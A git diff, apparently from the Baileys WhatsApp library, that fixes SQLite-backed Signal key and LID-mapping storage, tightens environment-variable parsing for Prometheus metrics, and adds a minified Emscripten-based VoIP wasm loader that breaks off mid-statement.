downloadMsg() diff --git a/src/Utils/meta-ai-msmsg.ts b/src/Utils/meta-ai-msmsg.ts index c85d6861eda..e3bbc5928d6 100644 --- a/src/Utils/meta-ai-msmsg.ts +++ b/src/Utils/meta-ai-msmsg.ts @@ -377,11 +377,9 @@ export const decryptMsmsgBotMessage = (input: DecryptMsmsgInput): proto.IMessage // Step 4 — hkdfStanzaId selection. The FBID streaming chain anchors all // chunks to the first chunk's id when botEditType is inner/last. - const useEditTargetForHkdf = - isFbidBot && INNER_OR_LAST.has(stanzaInfo.botEditType) && !!stanzaInfo.botEditTargetId + const useEditTargetForHkdf = isFbidBot && INNER_OR_LAST.has(stanzaInfo.botEditType) && !!stanzaInfo.botEditTargetId - const primaryHkdfStanzaId = - useEditTargetForHkdf ? (stanzaInfo.botEditTargetId as string) : stanzaId + const primaryHkdfStanzaId = useEditTargetForHkdf ? (stanzaInfo.botEditTargetId as string) : stanzaId // Step 5+6 — derive the AES key and decrypt. Wrapped so we can retry with // `botEditTargetId` for the non-FBID path (matches WA Web's f() try/catch). @@ -430,6 +428,7 @@ export const decryptMsmsgBotMessage = (input: DecryptMsmsgInput): proto.IMessage throw fallbackErr } } + logger?.warn( { cacheKey, isFbidBot, botEditType: stanzaInfo.botEditType, err: compactError(firstErr) }, 'msmsg decryption failed' @@ -464,11 +463,7 @@ const deriveKeyAndDecrypt = (params: { // AAD = utf8(stanzaId) || 0x00 || utf8(senderJid). The `\0` byte is a literal // NUL between the two ASCII strings. - const aad = Buffer.concat([ - Buffer.from(hkdfStanzaId, 'utf8'), - Buffer.from([0]), - Buffer.from(senderJid, 'utf8') - ]) + const aad = Buffer.concat([Buffer.from(hkdfStanzaId, 'utf8'), Buffer.from([0]), Buffer.from(senderJid, 'utf8')]) return Buffer.from(aesDecryptGCM(encPayload, decryptionKey, encIv, aad)) } @@ -492,6 +487,7 @@ const decodeDecryptedMsmsg = (plaintext: Buffer): proto.IMessage => { } catch { // fall through to unpadded decode below } + return proto.Message.decode(plaintext) } diff --git a/src/Utils/multi-db-sqlite/keys-with-jid-map.ts b/src/Utils/multi-db-sqlite/keys-with-jid-map.ts index 2963e757892..45e834743f6 100644 --- a/src/Utils/multi-db-sqlite/keys-with-jid-map.ts +++ b/src/Utils/multi-db-sqlite/keys-with-jid-map.ts @@ -107,6 +107,20 @@ export function wrapKeysWithJidMap( }, async set(data: SignalDataSet): Promise { + // IMPORTANT — cross-DB transaction caveat (audit MDB-03): + // `wrapKeysWithJidMap` writes to TWO physical .db files — + // axolotl.db (signal_kv via `inner.set`) and msgstore.db (jid_map + // via `jidMap.*`). SQLite does not support a single transaction + // spanning multiple files; ATTACH could come close but breaks + // busy-timeout semantics and is incompatible with the per-DB + // `transaction()` helper better-sqlite3 already wraps each call + // in. We therefore commit `inner.set` FIRST, then jid_map — the + // same order documented in `use-multi-db-sqlite-auth-state.ts:clear`. + // A crash between the two commits leaves jid_map STALE relative + // to the newer Signal keys; on next session establishment the + // missing jid_map row is naturally rebuilt by LIDMappingStore. + // Promoting this to a real distributed-transaction needs a + // write-ahead log on either side and is out of scope here. const lidMappingBucket = data['lid-mapping'] if (!lidMappingBucket) { return inner.set(data) @@ -120,13 +134,45 @@ export function wrapKeysWithJidMap( const pairs: Array<{ pnUser: string; lidUser: string }> = [] const forwardOnly: Array<{ pnUser: string; lidUser: string }> = [] const reverseOnly: Array<{ pnUser: string; lidUser: string }> = [] + // Deletes — `null`/`undefined` value is the Signal protocol's + // delete sentinel. Previously these were silently `continue`d, + // leaving stale `jid_map` rows that pointed at sessions that no + // longer existed. (audit P1-SQDB-02) + const deletes: string[] = [] const seenReverse = new Set() + // Track which entries in the inner store ALSO need a delete request + // — used below to propagate the null sentinel down so legacy entries + // that landed in the inner store (pre-Phase-9) don't resurrect via + // the `inner.get` fallback. (audit MDB-02) + const innerDeleteForward: string[] = [] + const innerDeleteReverse: string[] = [] for (const key of Object.keys(lidMappingBucket)) { if (key.endsWith(REVERSE_SUFFIX)) continue const pnUser = key const lidUser = lidMappingBucket[key] as unknown as string | null - if (!lidUser) continue + if (lidUser === null || lidUser === undefined) { + // Forward delete request. WhatsApp can link multiple device- + // LIDs to one PN over time, so `getLidForPn` returning the + // most-recent isn't enough — N-1 historic LIDs would still + // be visible via batchGetPnForLid. Wipe them all. + // (audit MDB-01) + const allLids = jidMap.getAllLidsForPn(pnUser) + for (const l of allLids) { + deletes.push(l) + // Also propagate the corresponding `_reverse` delete to + // the inner store — without this, a legacy reverse + // mapping `${lid}_reverse → pnUser` left behind in the + // inner store would re-surface (and point at the + // just-deleted PN) on the next `getKey` fallback. + // (audit thread 12) + innerDeleteReverse.push(l + REVERSE_SUFFIX) + } + + innerDeleteForward.push(pnUser) + continue + } + const reverseKey = lidUser + REVERSE_SUFFIX const reverseVal = lidMappingBucket[reverseKey] as unknown as string | null if (reverseVal === pnUser) { @@ -141,15 +187,38 @@ export function wrapKeysWithJidMap( if (!key.endsWith(REVERSE_SUFFIX) || seenReverse.has(key)) continue const lidUser = key.slice(0, -REVERSE_SUFFIX.length) const pnUser = lidMappingBucket[key] as unknown as string | null - if (!pnUser) continue + if (pnUser === null || pnUser === undefined) { + // Reverse delete — keyed by LID directly. + deletes.push(lidUser) + innerDeleteReverse.push(key) // include the `_reverse` suffix + // Also clean up the FORWARD direction in the inner store. + // Reverse-only delete was leaving any legacy `pnUser → + // lidUser` entry intact in the inner store, so a later + // `inner.get('lid-mapping', [pnUser])` would resurrect the + // just-deleted LID via the fallback path. Resolve the PN + // from the typed backend (synchronous) and queue its + // forward delete too. + const resolvedPn = jidMap.getPnForLid(lidUser) + if (resolvedPn) innerDeleteForward.push(resolvedPn) + + continue + } + reverseOnly.push({ pnUser, lidUser }) } - if (pairs.length > 0) jidMap.storeMappingsBatch(pairs) - for (const m of forwardOnly) jidMap.storeMapping(m.pnUser, m.lidUser) - for (const m of reverseOnly) jidMap.storeMapping(m.pnUser, m.lidUser) - - // Forward any non-lid-mapping types still present + // Cross-DB write ordering — see comment in + // `use-multi-db-sqlite-auth-state.ts:clear` for why this matters. + // Order chosen here: + // 1. Forward the rest of `data` to the inner store (axolotl.db). + // 2. Then write jid_map (msgstore.db). + // A crash between 1 and 2 leaves jid_map STALE relative to the + // newer Signal keys. On the next session establishment, the missing + // `jid_map` row is rebuilt naturally by the LIDMappingStore — no + // catastrophic loss. The reverse order would leave the Signal keys + // missing while jid_map still resolves PN→LID, causing decryption + // failures for those contacts until WhatsApp re-emits the mapping. + // (audit P1-SQDB-03) const rest: SignalDataSet = {} let hasRest = false for (const t in data) { @@ -158,7 +227,40 @@ export function wrapKeysWithJidMap( hasRest = true } + // Propagate deletes to the inner store as well — covers legacy + // lid-mapping entries that landed there before Phase 9 migrated + // the typed jid_map backend in. Without this they resurrect via + // `inner.get` fallback. (audit MDB-02) + if (innerDeleteForward.length > 0 || innerDeleteReverse.length > 0) { + const lidMappingDeletes: Record = {} + for (const pn of innerDeleteForward) lidMappingDeletes[pn] = null + for (const reverseKey of innerDeleteReverse) lidMappingDeletes[reverseKey] = null + ;(rest as Record)['lid-mapping'] = lidMappingDeletes + hasRest = true + } + if (hasRest) await inner.set(rest) + + // Now persist jid_map changes. Wrapped in try/catch so the catch + // arm below can distinguish SQLITE_BUSY (re-raise so the upstream + // `runSetWithBusyRetry` can drive a backoff) from anything else + // (let it propagate). NOT best-effort — every error path + // rethrows; the wrapper is purely about classifying. + try { + if (deletes.length > 0) { + for (const lidUser of deletes) jidMap.deleteMapping(lidUser) + } + + if (pairs.length > 0) jidMap.storeMappingsBatch(pairs) + for (const m of forwardOnly) jidMap.storeMapping(m.pnUser, m.lidUser) + for (const m of reverseOnly) jidMap.storeMapping(m.pnUser, m.lidUser) + } catch (err) { + // Re-raise SQLITE_BUSY so caller-level retry (e.g. + // `runSetWithBusyRetry` in `use-multi-db-sqlite-auth-state`) + // can drive a backoff. Anything else (constraint violation, + // disk full) is a hard error — let it propagate. (P2-SQDB-01) + throw err + } } } as SignalKeyStoreWithTransaction } diff --git a/src/Utils/multi-db-sqlite/lid-mapping-backend.ts b/src/Utils/multi-db-sqlite/lid-mapping-backend.ts index 63cbc19a5ed..cbbc5713eb2 100644 --- a/src/Utils/multi-db-sqlite/lid-mapping-backend.ts +++ b/src/Utils/multi-db-sqlite/lid-mapping-backend.ts @@ -34,6 +34,15 @@ export class JidMapBackend { upsertMap: SqliteStatementLike selectPnByLid: SqliteStatementLike selectLidByPn: SqliteStatementLike + // Cached so `deleteMapping` doesn't `db.prepare()` per call. Earlier + // it compiled a fresh native statement per loop iteration; under + // burst delete that leaked native memory until V8 collected the JS + // wrapper. + deleteMapByLidRowId: SqliteStatementLike + // Same reasoning for `getAllLidsForPn` — used on every delete to + // enumerate historical mappings; the inline `db.prepare()` paid the + // native compile cost every call. + selectAllLidsByPn: SqliteStatementLike } private readonly db: SqliteDbLike @@ -104,6 +113,14 @@ export class JidMapBackend { 'JOIN jid j ON j._id = m.lid_row_id ' + 'JOIN jid j_pn ON j_pn._id = m.jid_row_id ' + 'WHERE j_pn.raw_string = ? ORDER BY m.sort_id DESC LIMIT 1' + ), + deleteMapByLidRowId: this.db.prepare('DELETE FROM jid_map WHERE lid_row_id = ?'), + selectAllLidsByPn: this.db.prepare( + `SELECT l.raw_string AS raw FROM jid_map jm + JOIN jid l ON l._id = jm.lid_row_id + JOIN jid p ON p._id = jm.jid_row_id + WHERE p.raw_string = ? + ORDER BY jm.sort_id DESC` ) } @@ -188,12 +205,57 @@ export class JidMapBackend { })() } + /** + * Removes a PN↔LID mapping. Idempotent — silently no-ops when the row + * does not exist. + * + * Identified by the `lidUser` side (the mapping is keyed by `lid_row_id` + * in `jid_map`), matching the Signal protocol semantics where setting a + * `lid-mapping` value to `null` is a delete request. Without this, every + * delete request through `wrapKeysWithJidMap` was silently dropped while + * the inner store still emitted DELETEs — drifting jid_map until the + * stale mapping was overwritten by a fresh `storeMapping` call. + * (audit P1-SQDB-02) + */ + deleteMapping(lidUser: string): void { + // Wrapped in a transaction so a concurrent writer can't insert a new + // row between the SELECT (resolving the LID's _id) and the DELETE + // (using that _id). better-sqlite3 is synchronous so the race window + // is microscopic in single-process, but a worker-thread variant + // would otherwise see torn state. (audit MDB-P1-B) + this.db.transaction(() => { + const row = this.stmts.selectJidIdByRaw.get(lidUser) as { _id: number } | undefined + if (!row) return + // Cached statement — see `deleteMapByLidRowId` in stmts. The `jid` + // row stays; orphan `jid` rows are naturally reused by future + // `rowIdFor` calls. (audit MDB-P1-A) + this.stmts.deleteMapByLidRowId.run(row._id) + })() + } + /** Returns the LID for a PN, or `null` if no mapping exists. */ getLidForPn(pnUser: string): string | null { const row = this.stmts.selectLidByPn.get(pnUser) as { raw: string } | undefined return row?.raw ?? null } + /** + * Returns ALL LIDs ever mapped to this PN, newest first. WhatsApp links + * new device-LIDs over a contact's lifetime, so `jid_map` can hold N + * rows for one PN. `getLidForPn` returns only the most-recent (highest + * `sort_id`); for a delete request we need every row so historical + * mappings don't resurrect via `inner.get` fallback. (audit MDB-01) + */ + getAllLidsForPn(pnUser: string): string[] { + // 2-table join: lid_row_id → jid (LID side), jid_row_id → jid (PN side). + // Earlier version had a third `JOIN jid j ON j._id = l._id` and read + // `j.raw_string` — `j` was just a re-alias of `l`, harmless but a + // pointless extra lookup. Uses the cached statement from `this.stmts` + // so this hot delete path doesn't pay the SQL-compile cost per call. + const rows = this.stmts.selectAllLidsByPn.all(pnUser) as Array<{ raw: string }> + return rows.map(r => r.raw) + } + /** Returns the PN for a LID, or `null` if no mapping exists. */ getPnForLid(lidUser: string): string | null { const row = this.stmts.selectPnByLid.get(lidUser) as { raw: string } | undefined diff --git a/src/Utils/multi-db-sqlite/schemas/msgstore.ts b/src/Utils/multi-db-sqlite/schemas/msgstore.ts index 62262210319..a0b1c5186a1 100644 --- a/src/Utils/multi-db-sqlite/schemas/msgstore.ts +++ b/src/Utils/multi-db-sqlite/schemas/msgstore.ts @@ -27,7 +27,19 @@ CREATE TABLE IF NOT EXISTS jid ( agent INTEGER, device INTEGER, type INTEGER, - raw_string TEXT + /* NOT NULL prevents two distinct failure modes — + (1) SQLite treats NULL as DISTINCT inside a UNIQUE index, so any + malformed insert path that produced NULL would silently create + duplicate rows that the jid_raw_string_idx was supposed to + prevent; + (2) selectJidIdByRaw filters by WHERE raw_string = ?, and SQL + NULL = NULL evaluates to UNKNOWN, so the row is never returned + — rowIdFor would then throw "failed to materialize jid row" + for every subsequent access. + CREATE TABLE IF NOT EXISTS is a no-op when the table exists, so + legacy databases keep the nullable column; new databases get the + constraint enforced. */ + raw_string TEXT NOT NULL ); CREATE UNIQUE INDEX IF NOT EXISTS jid_raw_string_idx ON jid (raw_string); @@ -36,7 +48,14 @@ CREATE INDEX IF NOT EXISTS jid_user_server_idx ON jid (user, server); CREATE TABLE IF NOT EXISTS jid_map ( lid_row_id INTEGER PRIMARY KEY NOT NULL, jid_row_id INTEGER NOT NULL, - sort_id INTEGER + /* NOT NULL DEFAULT 0 so a row inserted without an explicit sort_id + can never end up as NULL. ORDER BY sort_id DESC ranks NULLs LAST + in SQLite which would silently demote a freshly-inserted-but-NULL + row below older ones — the opposite of the "last write wins" + intent. upsertMap always provides a real epoch-ms tick so the + default is just defensive against any future code path that + bypasses upsertMap. */ + sort_id INTEGER NOT NULL DEFAULT 0 ); CREATE INDEX IF NOT EXISTS jid_map_jid_row_id_idx ON jid_map (jid_row_id); diff --git a/src/Utils/multi-db-sqlite/use-multi-db-sqlite-auth-state.ts b/src/Utils/multi-db-sqlite/use-multi-db-sqlite-auth-state.ts index 636ffc305dd..537470bb5e6 100644 --- a/src/Utils/multi-db-sqlite/use-multi-db-sqlite-auth-state.ts +++ b/src/Utils/multi-db-sqlite/use-multi-db-sqlite-auth-state.ts @@ -270,7 +270,12 @@ export async function useMultiDbSqliteAuthState(opts: UseMultiDbSqliteAuthStateO return { state, saveCreds: async () => { - persistCreds() + // Without busy retry, a concurrent write on creds.db (e.g. another + // connection rotating Noise/prekey state) used to surface + // SQLITE_BUSY straight up to the caller after the 5 s busy_timeout + // — and the caller almost never handles it, so rotated credentials + // were silently lost. (audit P1-SQDB-01) + await runWithBusyRetry('saveCreds', () => persistCreds()) }, close: () => { // Injected stores belong to the caller — they call .close() diff --git a/src/Utils/prometheus-metrics.ts b/src/Utils/prometheus-metrics.ts index ed1ca9c948e..24ef16cbb13 100644 --- a/src/Utils/prometheus-metrics.ts +++ b/src/Utils/prometheus-metrics.ts @@ -37,6 +37,7 @@ import { createServer, IncomingMessage, Server, ServerResponse } from 'http' import * as os from 'os' import * as promClient from 'prom-client' +import { intFromEnv } from './env-utils' // Create a custom registry to avoid conflicts with global registry const customRegistry = new promClient.Registry() @@ -168,7 +169,13 @@ function parseLabelsFromEnv(envValue: string | undefined): Labels { export function loadMetricsConfig(): MetricsConfig { return { enabled: (process.env.BAILEYS_PROMETHEUS_ENABLED ?? process.env.METRICS_ENABLED) === 'true', - port: parseInt(process.env.BAILEYS_PROMETHEUS_PORT || process.env.METRICS_PORT || '9092', 10), + // Was `parseInt(... || '9092', 10)` — NaN under malformed env vars + // would land as `server.listen(NaN)` producing an opaque + // EADDRINUSE/bind error. `min=1` is just "not zero / not negative" + // (operators running as root may legitimately bind a privileged + // port). `max=65535` rejects values above the TCP range before + // they reach `server.listen()`. + port: intFromEnv(process.env.BAILEYS_PROMETHEUS_PORT ?? process.env.METRICS_PORT, 9092, 1, 65535), host: process.env.BAILEYS_PROMETHEUS_HOST || process.env.METRICS_HOST || '127.0.0.1', path: process.env.BAILEYS_PROMETHEUS_PATH || process.env.METRICS_PATH || '/metrics', prefix: process.env.BAILEYS_PROMETHEUS_PREFIX || process.env.METRICS_PREFIX || 'baileys', @@ -179,9 +186,12 @@ export function loadMetricsConfig(): MetricsConfig { // Flag for prom-client default Node.js metrics collectDefaultMetrics: (process.env.BAILEYS_PROMETHEUS_COLLECT_DEFAULT ?? process.env.METRICS_COLLECT_DEFAULT) !== 'false', - collectIntervalMs: parseInt( - process.env.BAILEYS_PROMETHEUS_COLLECT_INTERVAL_MS || process.env.METRICS_COLLECT_INTERVAL_MS || '10000', - 10 + // audit ENV-03: was `parseInt(... || '10000', 10)` — NaN → tight + // `setInterval(NaN)` loop scraping prom-client internals. + collectIntervalMs: intFromEnv( + process.env.BAILEYS_PROMETHEUS_COLLECT_INTERVAL_MS ?? process.env.METRICS_COLLECT_INTERVAL_MS, + 10_000, + 1 ) } } diff --git a/src/Voip/assets/wasm/loader.js b/src/Voip/assets/wasm/loader.js new file mode 100644 index 00000000000..a13c16f1351 --- /dev/null +++ b/src/Voip/assets/wasm/loader.js @@ -0,0 +1,5 @@ +;/*FB_PKG_DELIM*/ + +__d("flipperApi",[],(function(t,n,r,o,a,i){var e=(function(){function e(e,t,n){this.pluginId=e,this.methodId=t,this.$1=n}var t=e.prototype;return t.success=function(t){},t.error=function(t){},e})(),l=(function(){function t(e,t){this.pluginId=e,this.$1=t}var n=t.prototype;return n.send=function(t,n){this.$1.sendData(this.pluginId,t,n)},n.receive=function(n,r){var t=this;this.$1.subscribe(this.pluginId,n,function(o){r(o,new e(t.pluginId,n,t.$1))})},t})(),s=(function(){function e(e){this.id=e}var t=e.prototype;return t.onConnect=function(t){this.$1=t},t.onDisconnect=function(){this.$1=null},t.getConnection=function(){return this.$1},e})(),u=(function(){function e(e){this.$2=!1,this.plugins=new Map,this.$1=e,this.$1.setClient(this)}var t=e.prototype;return t.addPlugin=function(t){this.$2&&t.onConnect(new l(t.id,this.$1)),this.plugins.set(t.id,t)},t.getPlugin=function(t){return this.plugins.get(t)},t.onConnect=function(){var e=this;this.$2||(this.$2=!0,Array.from(this.plugins.values()).map(function(t){return t.onConnect(new l(t.id,e.$1))}))},t.onDisconnect=function(){this.$2=!1,Array.from(this.plugins.values()).map(function(e){return e.onDisconnect()})},t.start=function(t){this.$1.registerPlugins(Array.from(this.plugins.keys())),this.$1.start(t)},t.stop=function(){this.$1.stop()},e})();i.FlipperConnection=l,i.FlipperPlugin=s,i.FlipperClient=u}),66); +__d("FlipperCometDevToolsImpl",["flipperApi"],(function(t,n,r,o,a,i,l){var e=(function(){function e(){this.$1=new Map,this.$2=new Map,this.$3=[],this.$4=null}var t=e.prototype;return t.registerPlugins=function(t){this.$3=t},t.start=function(t){},t.stop=function(){},t.setClient=function(t){this.$4=t},t.sendData=function(t,n,r){var e=this.$2.get(t);e&&e(n,r)},t.subscribe=function(t,n,r){this.$1.set(t+n,r)},t.onConnect=function(){var e;(e=this.$4)==null||e.onConnect()},t.onDisconect=function(){var e;(e=this.$4)==null||e.onDisconnect()},t.isAvailable=function(){return!0},t.processMessageToPlugin=function(t,n,r){var e=this.$1.get(t+n);e&&e(r)},t.subscribeToMessagesFromPlugin=function(t,n){this.$2.set(t,n)},e})(),s=new e,u=new(o("flipperApi")).FlipperClient(s);u.start("WWW"),l.flipperBridge=s,l.flipperClient=u}),98); +__d("WAWebVoipWebWasmLoader",["Promise","WAWebVoipWebWasmWorkerResource","WorkerBundleResource","WorkerClient","WorkerMessagePort","bx"],(function(t,n,r,o,a,i,l){var e=["type","__name"],s,u,c=r("bx").getURL(r("bx")("32180"),{cacheBreaker:"1764839515032"}),d=(function(){var t=typeof document!="undefined"&&document.currentScript?document.currentScript.src:void 0;return function(a){var i=this;a===void 0&&(a={});function l(){return W.buffer!=z.buffer&&ne(),z}function d(){return W.buffer!=z.buffer&&ne(),j}function m(){return W.buffer!=z.buffer&&ne(),K}function p(){return W.buffer!=z.buffer&&ne(),Q}function _(){return W.buffer!=z.buffer&&ne(),X}function f(){return W.buffer!=z.buffer&&ne(),Y}function g(){return W.buffer!=z.buffer&&ne(),J}function h(){return W.buffer!=z.buffer&&ne(),te}var y=a,C,b;y.ready=new(u||(u=n("Promise")))(function(e,t){C=e,b=t}),["_malloc","_free","__emscripten_thread_init","__emscripten_thread_exit","__emscripten_thread_crashed","__emscripten_thread_mailbox_await","__emscripten_tls_init","_pthread_self","checkMailbox","establishStackSpace","invokeEntryPoint","PThread","getExceptionMessage","___get_exception_message","_on_call_event_js","_get_persistent_directory_path_js","_get_random_bytes_js","_hkdf_extract_and_expand_js","_hmac_sha256_create_js","_is_participant_known_contact_js","_renderVideoFrame_js","_sendSignalingXMPP_js","_call_sendto","_fflush","_call_init_capture_driver_js","_call_start_capture_js","_call_stop_capture_js","_call_init_playback_driver_js","_call_start_playback_js","_call_stop_playback_js","_call_start_desktop_capture_js","_call_stop_desktop_capture_js","_call_start_video_capture_js","_call_stop_video_capture_js","_loggingCallback_js","__embind_initialize_bindings","___indirect_function_table","__emscripten_check_mailbox","___start_em_js","___stop_em_js","onRuntimeInitialized"].forEach(function(e){Object.getOwnPropertyDescriptor(y.ready,e)||Object.defineProperty(y.ready,e,{get:function(){return ke("You are getting "+e+" on the Promise object, instead of the instance. Use .then() to get called back with the instance, see the MODULARIZE docs in src/settings.js")},set:function(){return ke("You are setting "+e+" on the Promise object, instead of the instance. Use .then() to get called back with the instance, see the MODULARIZE docs in src/settings.js")}})});var v=Object.assign({},y),S=[],R="./this.program",L=function(t,n){throw n},E=typeof window=="object",k=typeof importScripts=="function",I=typeof process=="object"&&typeof process.versions=="object"&&typeof process.versions.node=="string",T=!E&&!I&&!k;if(y.ENVIRONMENT)throw new Error("Module.ENVIRONMENT has been deprecated. To force the environment, use the ENVIRONMENT compile-time option (for example, -sENVIRONMENT=web or -sENVIRONMENT=node)");var D=y.ENVIRONMENT_IS_PTHREAD||!1,x="";function $(e){return y.locateFile?y.locateFile(e,x):x+e}var P,N,M,w;if(T){if(typeof process=="object"&&typeof n=="function"||typeof window=="object"||typeof importScripts=="function")throw new Error("not compiled for this environment (did you build to HTML and try to run it not on the web, or set ENVIRONMENT to something - like node - and run it someplace else - like on the web?)");typeof read!="undefined"&&(P=read),M=function(t){if(typeof readbuffer=="function")return new Uint8Array(readbuffer(t));var e=read(t,"binary");return G(typeof e=="object"),e},N=function(t,n,r){setTimeout(function(){return n(M(t))})},typeof clearTimeout=="undefined"&&(globalThis.clearTimeout=function(e){}),typeof setTimeout=="undefined"&&(globalThis.setTimeout=function(e){return typeof e=="function"?e():ke()}),typeof scriptArgs!="undefined"?S=scriptArgs:typeof arguments!="undefined"&&(S=arguments),typeof quit=="function"&&(L=function(t,n){throw setTimeout(function(){if(!(n instanceof pt)){var e=n;n&&typeof n=="object"&&n.stack&&(e=[n,n.stack]),F("exiting due to exception: "+e)}quit(t)}),n}),typeof print!="undefined"&&(typeof console=="undefined"&&(console={}),console.log=print,console.warn=console.error=typeof printErr!="undefined"?printErr:print)}else if(E||k){if(k?x=self.location.href:typeof document!="undefined"&&document.currentScript&&(x=document.currentScript.src),t&&(x=t),x.indexOf("blob:")!==0?x=x.substr(0,x.replace(/[?#].*/,"").lastIndexOf("/")+1):x="",!(typeof window=="object"||typeof importScripts=="function"))throw new Error("not compiled for this environment (did you build to HTML and try to run it not on the web, or set ENVIRONMENT to something - like node - and run it someplace else - like on the web?)");P=function(t){var e=new XMLHttpRequest;return e.open("GET",t,!1),e.send(null),e.responseText},k&&(M=function(t){var e=new XMLHttpRequest;return e.open("GET",t,!1),e.responseType="arraybuffer",e.send(null),new Uint8Array(e.response)}),N=function(t,n,r){var e=new XMLHttpRequest;e.open("GET",t,!0),e.responseType="arraybuffer",e.onload=function(){if(e.status==200||e.status==0&&e.response){n(e.response);return}r()},e.onerror=r,e.send(null)},w=function(t){return document.title=t}}else throw new Error("environment detection error");var A=y.print||console.log.bind(console),F=y.printErr||console.error.bind(console);Object.assign(y,v),v=null,Ii(),y.arguments&&(S=y.arguments),We("arguments","arguments_"),y.thisProgram&&(R=y.thisProgram),We("thisProgram","thisProgram"),y.quit&&(L=y.quit),We("quit","quit_"),G(typeof y.memoryInitializerPrefixURL=="undefined","Module.memoryInitializerPrefixURL option was removed, use Module.locateFile instead"),G(typeof y.pthreadMainPrefixURL=="undefined","Module.pthreadMainPrefixURL option was removed, use Module.locateFile instead"),G(typeof y.cdInitializerPrefixURL=="undefined","Module.cdInitializerPrefixURL option was removed, use Module.locateFile instead"),G(typeof y.filePackagePrefixURL=="undefined","Module.filePackagePrefixURL option was removed, use Module.locateFile instead"),G(typeof y.read=="undefined","Module.read option was removed (modify read_ in JS)"),G(typeof y.readAsync=="undefined","Module.readAsync option was removed (modify readAsync in JS)"),G(typeof y.readBinary=="undefined","Module.readBinary option was removed (modify readBinary in JS)"),G(typeof y.setWindowTitle=="undefined","Module.setWindowTitle option was removed (modify setWindowTitle in JS)"),G(typeof y.TOTAL_MEMORY=="undefined","Module.TOTAL_MEMORY has been renamed Module.INITIAL_MEMORY"),We("asm","wasmExports"),We("read","read_"),We("readAsync","readAsync"),We("readBinary","readBinary"),We("setWindowTitle","setWindowTitle"),G(E||k||I,"Pthreads do not work in this environment yet (need Web Workers, or an alternative to them)"),G(!I,"node environment detected but not enabled at build time. Add 'node' to `-sENVIRONMENT` to enable."),G(!T,"shell environment detected but not enabled at build time. Add 'shell' to `-sENVIRONMENT` to enable.");var O;y.wasmBinary&&(O=y.wasmBinary),We("wasmBinary","wasmBinary");var B=y.noExitRuntime||!0;We("noExitRuntime","noExitRuntime"),typeof WebAssembly!="object"&&ke("no native wasm support detected");var W,q,U,V=!1,H;function G(e,t){e||ke("Assertion failed"+(t?": "+t:""))}var z,j,K,Q,X,Y,J,Z,ee,te;function ne(){var e=W.buffer;y.HEAP8=z=new Int8Array(e),y.HEAP16=K=new Int16Array(e),y.HEAP32=X=new Int32Array(e),y.HEAPU8=j=new Uint8Array(e),y.HEAPU16=Q=new Uint16Array(e),y.HEAPU32=Y=new Uint32Array(e),y.HEAPF32=J=new Float32Array(e),y.HEAPF64=te=new Float64Array(e),y.HEAP64=Z=new BigInt64Array(e),y.HEAPU64=ee=new BigUint64Array(e)}G(!y.STACK_SIZE,"STACK_SIZE can no longer be set at runtime. Use -sSTACK_SIZE at link time"),G(typeof Int32Array!="undefined"&&typeof Float64Array!="undefined"&&Int32Array.prototype.subarray!=null&&Int32Array.prototype.set!=null,"JS engine does not provide full typed array support");var re=y.INITIAL_MEMORY||16777216;if(We("INITIAL_MEMORY","INITIAL_MEMORY"),G(re>=10485760,"INITIAL_MEMORY should be larger than STACK_SIZE, was "+re+"! (STACK_SIZE=10485760)"),D)W=y.wasmMemory;else if(y.wasmMemory)W=y.wasmMemory;else if(W=new WebAssembly.Memory({initial:re/65536,maximum:2147483648/65536,shared:!0}),!(W.buffer instanceof SharedArrayBuffer))throw F("requested a shared WebAssembly.Memory but the returned buffer is not a SharedArrayBuffer, indicating that while the browser has SharedArrayBuffer it does not have WebAssembly threads support - you may need to set a flag"),I&&F("(on node you may need: --experimental-wasm-threads --experimental-wasm-bulk-memory and/or recent version)"),Error("bad memory");ne(),re=W.buffer.byteLength,G(re%65536===0);var oe;function ae(){var e=Qi();G((e&3)==0),e==0&&(e+=4),f()[e>>2]=34821223,f()[e+4>>2]=2310721022,f()[0]=1668509029}function ie(){if(!V){var e=Qi();e==0&&(e+=4);var t=f()[e>>2],n=f()[e+4>>2];(t!=34821223||n!=2310721022)&&ke("Stack overflow! Stack cookie has been overwritten at "+Jt(e)+", expected hex dwords 0x89BACDFE and 0x2135467, but received "+Jt(n)+" "+Jt(t)),f()[0]!=1668509029&&ke("Runtime error: The application has corrupted its heap memory area (address zero)!")}}(function(){var e=new Int16Array(1),t=new Int8Array(e.buffer);if(e[0]=25459,t[0]!==115||t[1]!==99)throw"Runtime error: expected the system to be little-endian! (Run with -sSUPPORT_BIG_ENDIAN to bypass)"})();var le=[],se=[],ue=[],ce=!1,de=0;function me(){return B||de>0}function pe(){if(G(!D),y.preRun)for(typeof y.preRun=="function"&&(y.preRun=[y.preRun]);y.preRun.length;)ge(y.preRun.shift());tn(le)}function _e(){G(!ce),ce=!0,!D&&(ie(),!y.noFSInit&&!zt.init.initialized&&zt.init(),zt.ignorePermissions=!1,$t.init(),tn(se))}function fe(){if(ie(),!D){if(y.postRun)for(typeof y.postRun=="function"&&(y.postRun=[y.postRun]);y.postRun.length;)ye(y.postRun.shift());tn(ue)}}function ge(e){le.unshift(e)}function he(e){se.unshift(e)}function ye(e){ue.unshift(e)}G(Math.imul,"This browser does not support Math.imul(), build with LEGACY_VM_SUPPORT or POLYFILL_OLD_MATH_FUNCTIONS to add in a polyfill"),G(Math.fround,"This browser does not support Math.fround(), build with LEGACY_VM_SUPPORT or POLYFILL_OLD_MATH_FUNCTIONS to add in a polyfill"),G(Math.clz32,"This browser does not support Math.clz32(), build with LEGACY_VM_SUPPORT or POLYFILL_OLD_MATH_FUNCTIONS to add in a polyfill"),G(Math.trunc,"This browser does not support Math.trunc(), build with LEGACY_VM_SUPPORT or POLYFILL_OLD_MATH_FUNCTIONS to add in a polyfill");var Ce=0,be=null,ve=null,Se={};function Re(e){for(var t=e;;){if(!Se[e])return e;e=t+Math.random()}}function Le(e){Ce++,y.monitorRunDependencies&&y.monitorRunDependencies(Ce),e?(G(!Se[e]),Se[e]=1,be===null&&typeof setInterval!="undefined"&&(be=setInterval(function(){if(V){clearInterval(be),be=null;return}var e=!1;for(var t in Se)e||(e=!0,F("still waiting on run dependencies:")),F("dependency: "+t);e&&F("(end of list)")},1e4))):F("warning: run dependency added without ID")}function Ee(e){if(Ce--,y.monitorRunDependencies&&y.monitorRunDependencies(Ce),e?(G(Se[e]),delete Se[e]):F("warning: run dependency removed without ID"),Ce==0&&(be!==null&&(clearInterval(be),be=null),ve)){var t=ve;ve=null,t()}}function ke(e){y.onAbort&&y.onAbort(e),e="Aborted("+e+")",F(e),V=!0,H=1;var t=new WebAssembly.RuntimeError(e);throw 